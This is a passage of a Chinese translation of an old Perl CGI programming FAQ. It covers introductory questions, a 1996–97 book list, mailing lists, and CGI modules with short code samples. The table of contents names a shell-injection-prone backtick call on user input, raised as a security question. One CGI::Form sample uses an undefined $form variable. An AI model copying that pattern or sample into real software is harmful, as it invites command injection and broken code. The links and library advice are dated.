Perl CGI 编程常见问题

文体说明: 
 
1. 
译者已就原文中语焉不详、资讯过时,或可作额外补充之处附加注解。这些注解 
 均以星号 (*) 於适当处(通常为句尾)标示。实际的说明文字则大多紧邻星号 
 所在的段落,自成一段。所有注解文字均以「【译者】」起头。 
2. 范例中的 Perl 程式码已由译者适度加以翻译、去除多馀的括弧,并依 
 perlstyle manpages 中所建议的写作格式及习惯稍作修整。 
 
--------------------------------------------------------------------------- 
 
目录: 
 
1.0 -入门简介 
 
Q1.1:  为什麽我的 HTML page/form 需要用 script? 
Q1.2:  CGI 各代表什麽? 
Q1.3:  到底什麽叫 script?我能拿它来能做什麽? 
Q1.4:  什麽是 Perl?为什麽有那麽多人用它来做 CGI? 
Q1.5:  有没有教 CGI 或 Perl 的书或是线上资料? 
Q1.6:  是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组? 
Q1.7:  网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站? 
 
2.0 - Modules (模组) 
 
Q2.1:  我是不是该用 Perl CGI modules 来写 CGI scripts 
?自己做不是比较容 
    易吗? 
Q2.2:  如何知道某个 module 该怎麽个用法? 
Q2.3:  有哪些 Perl4 的 CGI 或 WWW的 libraries ? 
Q2.4:  有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽? 
Q2.5:  为什麽这麽多 perl CGI libraries 都是 object-oriented 
(物件导向) 
    的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物 
    件导向的人使用的 libraries 吗?物件导向有多难? 
 
3.0 - CGI 与 WWW Server 
 
Q3.1:  我的 Perl CGI 程式要放在哪里执行?cgi-bin 
这个目录是做甚麽用的? 
Q3.2:  什麽是档案使用权限?怎样改? 
Q3.3:  Perl 应该安装在哪里才可以执行它? 
Q3.4:  我为什麽一直得到 ``Server: Error 500'' 的讯息? 
Q3.5:  我试著打开一个档案,想把资料储存在里头,但是 open() 的指令失败 
    了。到底是怎麽搞的? 
 
4.0 -程式设计疑难杂症 
 
Q4.1:  我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? 
Q4.2:  刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 
    `` URL'',这样 user 填入的资料就可以寄给我了? 
Q4.3:  我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 
    Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢? 
    能不能很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 
    Windows/Mac 上做。我要如何在我自己的机器上测试写好的 CGI scripts 
    ? 
Q4.4:  在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN 
(标准输入),和 
    STDOUT (标准输出)各是连到何处? 
Q4.5:  如何写计数器? 
Q4.6:  要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除? 
Q4.7:  要如何知道是谁/哪台机器/哪个浏览器执行了我的程式? 
Q4.8:  人家看得到我的 Perl CGI 
程式吗?如果是这样的话,那不就让他们知道 
    我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来? 
Q4.9:  我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗? 
Q4.10: 
我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一 
    个 TYPE="password" 不是就是拿来做这个的吗? 
Q4.11: 我要如何产生专门替 Netscape 
设计的网页,以别於世上其他的浏览器? 
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对? 
Q4.13: 我听说 Netscape 会支援 Java。这是不是说我现在得弃 Perl,改Java 
    了?是不是该这麽做? 
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样? 
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)? 
Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行? 
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中? 
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form? 
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错? 
Q4.20: 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式? 
Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽 
    做? 
Q4.22: 那些 server 回应码 (server response codes) 
是干什麽用的?有什麽意 
    义? 
Q4.23: 为什麽 print "Location: http://host/page.html\n" 不 
work?又为什 
    麽它只 work 一次,但随後的转向就都弄错了呢? 
Q4.24: 要如何让 server 在每个 HTML 
网页的底部都自动加上一个:「最近更新 
    日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程 
    式的日期要如何取得? 
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 
    就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的 
    事不是好得多吗?那用 C 呢? 
 
5.0 -安全 
 
Q5.1:  以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全? 
Q5.2:  我该特别留意哪些安全事项? 
Q5.3:  为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl 
这样 
    很危险?会有多糟? 
Q5.4:  要如何在程式中安全地使用逆向撇号(backticks,"`")?这麽做: 
    @ans = `grep'$user_field' some.file`; 是不是真的不安全? 
Q5.5:  /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞? 
 
 
--------------------------------------------------------------------------- 
 
1.0 -入门简介 
 
--------------------------------------------------------------------------- 
 
Q1.1: 为什麽我的 HTML page/form 需要用 script? 
 
因为有的时候您需要在 HTML 
文件中使用动态资料(非固定不变的资料)。这包括了 
日期和时间这类的简单资料,或是一个显示「您是第 xxx 
位访客」的计数器。但它 
也可能包括根据使用者输入而得出的大饼图/条统图、资料库搜寻产生的结果,或动 
画等这类的东西。要做出像这样的东西,您唯一的方法是使用 CGI scripts 
(尽管您 
也可以应用客户端程式,如 Java 和 JavaScript 
来达到这个目的,不过那又是完全 
不同的一回事!)。 
 
--------------------------------------------------------------------------- 
 
Q1.2: CGI 各代表什麽? 
 
以下是我的编辑* Andy Oram (<http://jasper.ora.com/andyo>) 和 Linda Mui 
(<http://pcnt1.ora.com>) (他们很棒!)所写的一段非常好的描述: 
 
     【译者】这是原文的第一作者 Shishir G. 指他所写的 CGI Programming 
     on the World Wide Web (<http://www.ora.com/info/cgi/>) 一书的编 
     辑。 
 
     Common          向您确保 CGI 可以使用多种程式语言并和多种 
                     不同的系统互动。它让您自由选择达到目的的方 
                     法,不把您绑死在单独一种作法之下*。 
     Gateway         提示您 CGI 的力量不在於它本身所做的事,而 
                     在於它提供了连结其他系统的潜力,例如资料库 
                     和图形制造器。 
     Interface       只是表示 CGI 对如何善用其特性提供了明确的 
                     界定-换句话说,您可以设计程式来适当利用这 
                     个介面。 
 
          【译者】似乎有影射 Java 之意。 
 
--------------------------------------------------------------------------- 
 
Q1.3: 到底什麽叫 script?我能拿它来能做什麽? 
 
简单的说,script 
就是程式!好吧、好吧,应该说二者有语意上的差别。如果您真 
的想知道,那麽去买一本电脑程式设计的书来看(或许该说 script 设计 :-) 
)。 
 
您可以藉著写 CGI 程式/script 
变很多魔术。您可以即时制作图形、连结资料库传 
回【查询】结果,还可以连到 Internet 上其他的 servers 去。 
 
--------------------------------------------------------------------------- 
 
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI? 
 
答案就在 perl manpage 中的前三行叙述: 
 
     Perl 是一解译式的语言,专为高效率检视文字档案、从中抽取资料,据 
     以印制报表而设计。 
 
绝大多数 CGI 
应用程式的任务都涉及对资料作某种程度的处理,及连结外在程式。 
Perl 恰好提供了好用的工具,让人轻松愉快地达成这些任务。 
 
--------------------------------------------------------------------------- 
 
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料? 
 
   * NCSA 的 CGI 文件 (<http://hoohoo.ncsa.uiuc.edu/cgi>) 
   * Forms 入门指引 
     (<http://robot0.ge.uiuc.edu/~carlosp/cs317/ft.4-5.html>) 
   * 许多 CGI 资源结点 
 
(<http://www.cs.oberlin.edu/students/thirdstream/paxtond/cgi_stuff.html>) 
   * 原始的 CGI FAQ (<http://www.best.com/~hedlund/cgi-faq>) 
   * Perl FAQ (<http://mox.perl.com/perl/faq/index.html>) 
   * 由 Lincoln Stein 所著,一份很完整的WWW 及 CGI 操作安全 FAQ 
     (<http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html>) 
   * Paul Phillips 所著,CGI 安全 FAQ 
     (<http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt>) 
   * WWW FAQ (<http://boutell.com/faq/>) 
 
          【译者】此份 FAQ 的中译版可在 
          http://www.acer.net/document/cwwwfaq/ 
          (<http://www.acer.net/document/cwwwfaq/>) 处取得。 
 
以下是由 Cye H. Waldman (<http://wwwiz.com/books/cgi-perl.html>) 
所整理的 
CGI 和 Perl 书籍一览表*: 
 
     【译者】此表由译者更新,同时加入了原文作者 Tom C. 的 Perl 书评 
     (<http://www.perl.com/perl/critiques/>)以供读者参考。请注意:CGI 
     各书的等级评定乃单就其 Perl 部份的水准及正确性而言。符号说明: 
     (Tom C. 用骆驼而非星星) 
 
          五颗星(**** 
          *)               ==> 很棒的书 (terrific books) 
          四颗星(*** 
          *)               ==> 不错的书 (fine books) 
          三颗星(***)   ==> 像样的书 (decent books) 
          两颗星(**)     ==> 马马虎虎、勉强过得去的书 (so-so 
books) 
          一颗星(*)       ==> 差劲的书 (poor books) 
          零颗星(0*)      ==> 大烂书 (terrible books) 
                  NA         ==> 不适用、无书评 (Not 
Applicable/Available) 
                  v4         ==> 内容较老旧,仅含盖 Perl4 
 
----------------------------------------------------------------------------- 
+---------------------------------------------------------------------------+ 
      作者                书名            评价       出版者      所附 
售价 
                                                                 软体 
(美金) 
+---------------------------------------------------------------------------+ 
                Effective Perl 
                Programming: 60 Methods 
 Joseph Hall    and Rules for Scripting  NA     Addison-Wesley    □ 
$30 
                Better Programs 
                (预定出版日期:1997年1 
                月) 
+---------------------------------------------------------------------------+ 
                Perl Developer's Toolkit 
 Jon Orwant     (预定出版日期:1997年1  NA     Advice Press      □ 
$?? 
                月) 
+---------------------------------------------------------------------------+ 
                Cgi Programming For 
 ??             Dummies                  NA     IDG Books         □ 
$25 
                (预定出版日期:1997年1 
                月) 
+---------------------------------------------------------------------------+ 
                Mastering Regular 
                Expressions: Powerful 
 Jeffrey Friedl Techniques for Perl and  NA     O'Reilly          □ 
$30 
                Other Tools 
                (预定出版日期:1997年1 
                月) 
+---------------------------------------------------------------------------+ 
                CGI Developer's Resource 
 J.M. Ivler     (预定出版日期:1997年3  NA     Prentice Hall     光 
$45 
                月)碟 
+---------------------------------------------------------------------------+ 
                Perl 5 Windows NT 
 Various        Programming 
 authors        (预定出版日期:1997年1  NA     New Riders        □ 
$45 
                月) 
+---------------------------------------------------------------------------+ 
                Teach Yourself CGI 
 Eric Herrmann  Programming with Perl 5  NA     Sams.net          光 
$40 
                in a Week, 2nd Ed.                                碟 
+---------------------------------------------------------------------------+ 
                CGI: Internet 
 Mark Felton    Programming C++ & C      NA     Prentice Hall     □ 
$?? 
                (预定出版日期:1997年3 
                月) 
+---------------------------------------------------------------------------+ 
                CGI Bible 
 Ed Tittle      (预定出版日期:1996年11 NA     IDG Books         □ 
$?? 
                月) 
+---------------------------------------------------------------------------+ 
 Craig Patchett The CGI Cookbook: Perl 
 &              and JavaScript           NA     Wiley             光 
$40 
 Matt Wright    (预定出版日期:1996年11                          碟 
                月) 
+---------------------------------------------------------------------------+ 
                Drag-n-Drop CGI 
 Baron Weil     (预定出版日期:1997年1  NA     Addison-Wesley    □ 
$?? 
                月) 
+---------------------------------------------------------------------------+ 
 Stephen Lines  How To Program CGI with  NA     Ziff-Davis        光 
$40 
                Perl 5.0                                          碟 
+---------------------------------------------------------------------------+ 
                CGI Programming for 
 Bob Denny et   Windows                                           磁 
 al.            (预定出版日期:1997年3  NA     O'Reilly          片 
$30 
                月) 
+---------------------------------------------------------------------------+ 
 Selena Sol & 
 Gunther        Instant Web Scripts with NA     MIS:Press/M&T     光 
$40 
 Birznieks      CGI/Perl                        Books             碟 
+---------------------------------------------------------------------------+ 
                Perl For Dummies 
 ??             (预定出版日期:1996年10 NA     IDG Books         □ 
$25 
                月) 
+---------------------------------------------------------------------------+ 
 Steven E.      CGI Web Scripting With 
 Brenner &      Perl                     NA     MIS:Press/M&T     光 
$40 
 Edwin Aoki     (出版取消)                    Books             碟 
+---------------------------------------------------------------------------+ 
 ??             Perl & CGI Programming   NA     Sams.net          □ 
$45 
                Starter Kit 
+---------------------------------------------------------------------------+ 
 Mohammed J.    CGI Primer Plus for                               光 
 Kabir          Windows                  NA     Waite             碟 
$45 
+---------------------------------------------------------------------------+ 
                Foundations of WWW 
 Ed Tittel et   Programming with HTML                             光 
 al.            and CGI, 2nd Ed.         NA     IDG Books         碟 
$?? 
                (预定出版日期:1996年10 
                月) 
+---------------------------------------------------------------------------+ 
 Jerry Muelver  Creating Cool Web Pages  **   IDG Books         光 
$30 
                With Perl                                         碟 
+---------------------------------------------------------------------------+ 
                HTML & CGI Unleashed, 
 John December  Professional Reference   NA     Sams.net          光 
$50 
                Edition                                           碟 
+---------------------------------------------------------------------------+ 
                Cross-Platform Perl 
                (See also the author's 
 Eric Johnson   book site.)              **   MIS:Press/M&T     光 
$35 
                (预定出版日期:1996年9  **   Books             碟 
                月) 
+---------------------------------------------------------------------------+ 
 Daniel Berlin  CGI Programming 
 et al.         Unleashed                NA     Sams.net          □ 
$55 
+---------------------------------------------------------------------------+ 
                Web Client Programming 
 Clinton Wong   in Perl                  NA     O'Reilly          □ 
$30 
                (预定出版日期:1997年3 
                月) 
+---------------------------------------------------------------------------+ 
                Perl 5 
 Robert Seymour (预定出版日期:1996年10 NA     Springer-Verlag   □ 
$40 
                月) 
+---------------------------------------------------------------------------+ 
 M□he□ □ 
 Foghl□        Perl 5 Quick Reference   *     Que               □ 
$20 
+---------------------------------------------------------------------------+ 
 Robert Niles &                                                   光 
 Jeffry Dwight  CGI by Example           NA     Que               碟 
$35 
+---------------------------------------------------------------------------+ 
                PC Magazine Programming 
 Jonathan Hagey Perl 5.0 CGI Web Pages   0*    Ziff-Davis        光 
$35 
                for Microsoft Windows NT                          碟 
+---------------------------------------------------------------------------+ 
                Web Programming with 
 ??             Perl                     NA     Sams.net          光 
$40 
                (预定出版日期:1996年8                           碟 
                月) 
+---------------------------------------------------------------------------+ 
                Perl 5 Developer's Guide 
 ??             (预定出版日期:1996年12 NA     Sams              光 
$60 
                月)碟 
+---------------------------------------------------------------------------+ 
 David Medinets Perl 5 by Example        **   Que               光 
$35 
                                         +1/2                     碟 
+---------------------------------------------------------------------------+ 
 Stephen Asbury                                                   光 
 et al.         CGI How-To               NA     Waite             碟 
$40 
+---------------------------------------------------------------------------+ 
                Visual Basic Internet 
 Carl Franklin  Programming              NA     Wiley             光 
$40 
                (预定出版日期:1996年5                           碟 
                月) 
+---------------------------------------------------------------------------+ 
 InfoMagic      Mother of Perl           NA     SSC               光 
$35 
                (一套两张光碟)碟 
+---------------------------------------------------------------------------+ 
 Larry Wall et  Programming Perl, 2nd    ** 
 al.            Ed.                      **   O'Reilly          □ 
$40 
                                         * 
+---------------------------------------------------------------------------+ 
                CGI Developer's Guide 
 Eugene Kim     (预定出版日期:1996年5  **   Sams.net          光 
$50 
                月)碟 
+---------------------------------------------------------------------------+ 
 Robert         CGI Manual of Style 
 McDaniel       (可自线上取得)         NA     Ziff-Davis        □ 
$25 
+---------------------------------------------------------------------------+ 
 ??             Perl 5 for Dummies       NA     IDG Books         光 
$?? 
                (预定出版日期:1996年)碟 
+---------------------------------------------------------------------------+ 
                Developing Internet 
 Ginsburg &     Applications with Perl 
 Tall           (预定出版日期:1996年3  NA     Sams.net          □ 
$?? 
                月) 
+---------------------------------------------------------------------------+ 
 Kamran Husain  Perl 5 Unleashed         *     Sams              光 
$50 
                                                                  碟 
+---------------------------------------------------------------------------+ 
                Teach Yourself Perl 5, 
 Norton         2nd Edition              NA     Sams              光 
$?? 
                (预定出版日期:1996年6                           碟 
                月) 
+---------------------------------------------------------------------------+ 
 Michael Erwin  Special Edition Using 
 et al.         CGI                      NA     Que               □ 
$60 
+---------------------------------------------------------------------------+ 
 Thomas Boutell CGI Programming in C and **   Addison-Wesley    光 
$35 
                Perl                     **碟 
+---------------------------------------------------------------------------+ 
                Perl 5 Desktop Reference 
 Johan Vromans  (可自 CPAN 下载原始码自 NA     O'Reilly          □ 
$7 
                行印制) 
+---------------------------------------------------------------------------+ 
 Christian      The Webmaster's 
 Neuss &        Handbook: Perl Power for NA     Int'l Thomson     光 
$30 
 Johan Vromans  Your Web Server                                   碟 
+---------------------------------------------------------------------------+ 
 William E.                                                       光 
 Weinman        The CGI Book             NA     New Riders        碟 
$45 
+---------------------------------------------------------------------------+ 
                World Wide Web Database 
 Brian Jepson   Programming for Windows  NA     Wiley             光 
$40 
                NT                                                碟 
+---------------------------------------------------------------------------+ 
 Steven E.                               ** 
 Brenner &      Introduction to CGI/     *     MIS:Press/M&T     □ 
$20 
 Edwin Aoki     Perl                     (v4)   Books 
+---------------------------------------------------------------------------+ 
 Ed Tittel &    Perl 5 Programming 
 Sebastion      Secrets                  NA     IDG Books         光 
$45 
 Hassinger      (预定出版日期:1996年3                           碟 
                月) 
+---------------------------------------------------------------------------+ 
 David Harlan   Special Edition Using 
 et al.         Perl 5 for Web           **   Que               □ 
$50 
                Programming 
+---------------------------------------------------------------------------+ 
 Shishir        CGI Programming on the                            光 
 Gundavaram     World Wide Web           **   O'Reilly          碟 
$30 
+---------------------------------------------------------------------------+ 
                The Official 60 Minute   ** 
 Robert Farrel  Guide to CGI Programming *     IDG Books         □ 
$20 
                with Perl                (v4) 
+---------------------------------------------------------------------------+ 
 Ed Tittel & 
 Sebastion      Web Programming Secrets  NA     IDG Books         光 
$45 
 Hassinger      with HTML, CGI & Perl                             碟 
+---------------------------------------------------------------------------+ 
 John Deep & 
 Peter          Developing CGI           **   Wiley             □ 
$30 
 Holfelder      Applications with Perl   (v4) 
+---------------------------------------------------------------------------+ 
 Jon Orwant     Perl 5 Interactive       **   Waite             光 
$50 
                Course                   *碟 
+---------------------------------------------------------------------------+ 
 Aidan 
 Humphreys et   Perl 5 How-To            **   Waite             光 
$45 
 al.                                     *碟 
+---------------------------------------------------------------------------+ 
                Teach Yourself CGI       ** 
 Eric Herrmann  Programming with Perl in *     Sams.net          光 
$40 
                a Week                   (v4)                     碟 
+---------------------------------------------------------------------------+ 
                Perl 
 Walnut Creek   (收录各类资源、档案库、 NA     Walnut Creek      光 
$40 
                入门指导、实例、source                            碟 
                code 等) 
+---------------------------------------------------------------------------+ 
                Software Engineering 
 Carl Dichter & with Perl                                         磁 
 Mark Pease     (进阶级,内容针对软体专*     Prentice Hall     片 
$30 
                业人仕设计;非入门指引) 
+---------------------------------------------------------------------------+ 
                                         ** 
 Ellie Quigley  Perl by Example          *     Prentice Hall     □ 
$27 
                                         (v4) 
+---------------------------------------------------------------------------+ 
 John December 
 &              HTML & CGI Unleashed     NA     Sams.net          光 
$50 
 Mark Ginsburg                                                    碟 
+---------------------------------------------------------------------------+ 
 David Till     Teach Yourself Perl in   **   Sams              □ 
$30 
                21 Days                  (v4) 
+---------------------------------------------------------------------------+ 
 Larry Wall & 
 Randal L.      Programming Perl         NA     O'Reilly          □ 
$30 
 Schwartz 
+---------------------------------------------------------------------------+ 
 Randal L.                               ** 
 Schwartz       Learning Perl            **   O'Reilly          □ 
$25 
                                         (v4) 
+---------------------------------------------------------------------------+ 
 Ed Tittel et   Foundations of WWW                                光 
 al.            Programming with HTML    NA     IDG Books         碟 
$40 
                and CGI 
+---------------------------------------------------------------------------+ 
                How To Set Up and 
                Maintain a World Wide 
 Lincoln Stein  Web Site, 2nd Edition    **   Addison-Wesley    光 
$55 
                (预定出版日期:1997年1  **碟 
                月) 
+---------------------------------------------------------------------------+ 
----------------------------------------------------------------------------- 
 
     【译者】中文的 CGI 和 Perl 的书目则尚待好心的读者提供。 
 
--------------------------------------------------------------------------- 
 
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组? 
 
每天有无数的 CGI 高手在「监视」著这个很有用的新闻讨论群组: 
comp.infosystems.www.authoring.cgi*。 
 
     【译者】中文的讨论群中最适合做这方面的讨论的大概要算是 
     tw.bbs.comp.www 了。还有,请不要将 CGI 问题 post 到 
     comp.lang.perl.misc 上头去,别说译者没先警告您喔 ;-) 。 
 
但是,除非您先把 FAQ 读过一遍,否则您不应该到这个版子上去随便 post 
问题 
(或其他任何版子;同样的道理)。 
 
网路上有各式各样讨论 Perl、CGI,及 Web 的邮递论坛 
(<http://perl.com/perl/info/mailing-lists.html>),但以底下这两个最受欢迎: 
 
cgi-perl-[email protected] 【Hypermail 档案库】 
(<http://www.webstorm.com/local/cgi-perl>) 
 
     这个论坛是给发展 Perl5 CGI 
模组、或对此有兴趣的人用的。它并不提供任 
     何 CGI 支援*。 
 
          【译者】此 mailing list 已经数月没有 posts ,寿终正寝了。这 
          可能是由於讨论的主题-CGI::* 模组套件(详见以下第二篇 
          「Modules (模组)」的说明)已经有好一段时间没有更新了。模 
          组的维护人 Lincoln Stein 近一年多来似乎都将重心放在他的 
          CGI.pm 上,而 CGI.pm 也取代了 CGI::* 这个套件的地位。读者如 
          对 CGI::* 或 CGI.pm 有问题的话可写到 comp.lang.perl.modules 
          上头去。 
 
libwww-[email protected] 【Hypermail 档案库】 
(<http://www.ics.uci.edu/WebSoft/libwww-perl/archive>) 
 
     libwww-perl 这个 library 套件为 Web 
客户及伺服程式设计提供了一套简便的 
     介面*。 
 
          【译者】此 mailing list 不适合做 CGI 的讨论。libwww-perl 是 
          一项以 Perl 为发展工具、类似 W3C/CERN 的 libwww 
          (<http://www.w3.org/pub/WWW/Library/>) 的计画(後者用的是 C 
          )。 
 
您可以在: 
     http://www.ics.uci.edu/pub/websoft/libwww-perl 
     (<http://www.ics.uci.edu/pub/websoft/libwww-perl>)取得旧的 
(Perl4) 
     libwww-perl 的相关资料。 
 
最新的 Perl5 libwww 套件可在: 
     http://www.sn.no/~libwww-perl/ (<http://www.sn.no/libwww-perl/>) 
处取 
     得。 
 
CPAN: Perl 模组同时也可以在多重复制、分散式的 CPAN 
(<http://www.perl.com/CPAN/README.html>) 
系统取得。这会自动替您选择一个「 
靠近您的站 
(<http://www.perl.com/perl/news/cpan-mux.html>)」。譬如说,您可 
以抓 LWP 模组的 source (<http://perl.com/cgi-bin/cpan_mod?module=LWP>) 
或只 
抓它的 readme 
(<http://perl.com/cgi-bin/cpan_mod?module=LWP&readme=1>)。 
 
--------------------------------------------------------------------------- 
 
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站? 
 
是的,您可以试试 The Usenet Newstand 
(<http://CriticalMass.com/Concord/>)。 
所有comp.infosystems.www.* 讨论群组的文章都收集在那儿*。同时,cgi-perl 
及 
libwww 这两个邮递论坛他们也有收集。 
 
     【译者】您同时可以试试 DejaNews (<http://www.dejanews.com/>) 、 
     AltaVista (<http://www.altavista.digital.com/>) ,和 HotBot 
     (<http://www.hotbot.com/>) 这几个搜寻引擎/资料库。 DejaNews 
     (<http://www.dejanews.com/>) 甚至连 tw.bbs.* 都收集(其他两个或 
     许也有,但译者没试过)。 
 
--------------------------------------------------------------------------- 
 
 
2.0 - Modules (模组) 
 
--------------------------------------------------------------------------- 
 
Q2.1: 我是不是该用 Perl CGI modules* 来写 CGI scripts 
?自己做不是比较容易 
吗? 
 
     【译者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模组;详见 
     Q2.4 。 
 
这完全取决於您要做的是什麽。CGI modules 较适合重量级的 CGI scripts 
。如果 
是简单的 scripts 的话,自己做或者是用 CGI Lite 
这个模组会简便许多。如果您 
真的愿意,您甚至可以用旧的 Perl4 cgi-lib.pl 这个 library*。 
 
     【译注】作者 Tom C. 之所以这麽说是因为他基本上不赞成使用 
     cgi-lib.pl ,有兴趣的读者可以看他写的 Why I am not fond of 
     cgi-lib.pl (<http://www.perl.com/perl/info/www/!cgi-lib.html>) 
     (为什麽我不欣赏 cgi-lib.pl )。 
 
--------------------------------------------------------------------------- 
 
Q2.2: 如何知道某个 module 该怎麽个用法? 
 
大多数 modules 的使用说明是直接嵌在程式里的*。如果是这样的话,您可以用 
pod2man 这个 script 来阅读使用指南: 
 
     % pod2text name_of_module.pm 
     % pod2man name_of_module.pm | nroff -man | more 
 
     【译注】如果您在 *.pm 档中看到 ``=head1''、``=cut'' 这类的东西便 
     是显示使用说明有附在里头。这是 Larry Wall 设计的 POD (Plain Old 
     Document) 格式。详见 perlpod manpages。 
 
--------------------------------------------------------------------------- 
 
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ? 
 
最广为使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl 
(<http://www.bio.cam.ac.uk/web/form.html>)。 
 
--------------------------------------------------------------------------- 
 
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽? 
 
CGI.pm 
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/CGI.pm.tar.gz>)* 
     这个很棒的 module 在功能上和部分 CGI::* modules 
相重叠。如果您不想和多 
     重 modules 
打交道的话,您可以只用这一个。我们等一下在後头会给您看一个 
     用 CGI.pm 来替 CGI scripts 除错的实例。 
 
     此外,Lincoln (Lincoln Stein;CGI.pm 的作者)还写了一本讨论 Web 
和 
     CGI 非常好的书,叫 How To Set Up and Maintain a World Wide Web 
Site 
     (<http://www.aw.com/cp/Stein2e.html>)。 
 
          【译者】建议读者多使用 CGI.pm 。CGI::* 已经有很长一段时间没 
          有更新了,而 CGI.pm 则不断的有改良的新版推出,并已加入对 
          FastCGI (<http://www.fastcgi.com/>) 的支援,因此对 FastCGI 
          的使用者也相当方便。此外,mod_perl 
          (<http://www.osf.org/~dougm/apache/>) (Apache 
          (<http://www.apache.org/>) 的 perl module)中所附的 CGI::XA 
          ,也是由 CGI.pm 改进而来的。 CGI.pm 让使用者免除自己做低阶资 
          料处理(如印 HTTP 标头、替 form, cookies 资料解码等)的麻 
          烦。 
 
CGI::* 模组套件 
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/CGIperl/>) 
     这些模组原先大多是由 Tim Bunce 所写,现在则由 Lincoln Stein 
来负责维 
     护。它们的功能包括了帮您产生及处理 form ,替 CGI 
程式除错,以及在不同 
     的 forms 之间维系一个状态值。 
 
CGI Lite 
(<http://dongpo.math.ncu.edu.tw/perl/CPAN/authors/id/SHGUN/CGI_Lite-1.62.pm.gz>) 
     这个轻量级的 module 是 CGI::* modules 
之外的另一个选择。它可算是在老旧 
     的 cgi-lib.pl (<http://www.bio.cam.ac.uk/web/form.html>) 
之上改良、加 
     料後的产物。 
 
以上三者均有能力处理 multipart form 资料(即上传)。 
 
--------------------------------------------------------------------------- 
 
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented 
(物件导向)的? 
我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用 
的 libraries 吗?物件导向有多难? 
 
其实使用物件导向的 modules 并不难。先去看看 Tom Christiansen 的 Easy 
Intro 
to Using Perl Objects 
(<http://perl.com/perl/everything_to_know/easy_objects.html>) 
(简单介绍如 
何使用 Perl 物件)吧。 
 
前头提到的 CGI modules 用起来真的是很容易!这里有一个用 CGI Lite 印出 
form 
资料的实例*: 
 
     【译者】CGI.pm 的使用说明 
     (<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/>)中有更多范 
     例可供参考。 
 
     #!/usr/local/bin/perl -w 
     use CGI_Lite; 
     $cgi = new CGI_Lite; 
     %data = $cgi->parse_form_data; 
     print "Content-type: text/plain", "\n\n"; 
     foreach $key (keys %data) { 
         print $key, " = ", $data{$key}, "\n"; 
     } 
     exit 0; 
 
要注意的是,即使您机器上的 Perl 
不是您装的(您不是系统管理者),或是您权限 
不够无法将这些 modules 和其他的 Perl library 
档案安装在同一个地方,您还是 
可以使用这些 modules 的 -- 
只要将它们摆在一个自己方便的地方,然後在您的 
script 开始处加上*: 
 
     BEGIN { 
         unshift @INC, "/your/dir/favorite/place"; 
     } 
 
     【译者】建议改用较新的方式: 
 
     use lib qw(/your/dir/favorite/place); 
 
好。以下是一个用到 CGI::* modules 的例子: 
 
     #!/usr/local/bin/perl -w 
     use CGI::Form; 
     $cgi_form = new CGI::Form; 
     print <<'End_of_Header'; 
         <HTML> 
         <HEAD><TITLE>看著我做!</TITLE></HEAD> 
         <BODY> 
         <H1>看著我做!</H1> 
     End_of_Header 
     print $form->startform; 
     ## 产生一个单行输入栏位 (text field) 
     print '姓名: '; 
     print $form->textfield('name'), "<BR>\n"; 
     ## 产生一组单选按纽 (radio buttons) 
     print '<P>您住哪儿: <BR>'; 
     print $form->radio_group(-name      => 'where', 
                              -values    => ['北美洲', 
                                             '南美洲', 
                                             '欧洲', 
                                             '澳洲', 
                                             '亚洲', 
                                             '南极洲'], 
                              -default   => '北美洲', 
                              -linebreak => 'true'); 
     ## 产生一个多行输入栏位 (textarea) 
     print '意见: '; 
     print $form->textarea('comments', undef, 5, 40); 
     print "<P>"; 
     print $form->reset; 
     print $form->defaults; 
     print $form->submit('送出!', 'Submit'); 
     print $form->endform; 
     print "</BODY></HTML>"; 
 
reset、defaults,及submit三种方法( methods ) 
会产生不同的类型的按钮。reset 
这个按钮让您把目前 form 
栏位中所填的资料洗掉,并显示属於上一个状态(或回 
合)的资料。 defaults 这个按钮则是将form 栏位资料彻底洗去。还有 submit 
这 
个方法产生一个送出钮以便让人将资料送至 server 处。 
 
您看,不是很容易吗? 
 
 
 
3.0 - CGI 与 WWW Server 
 
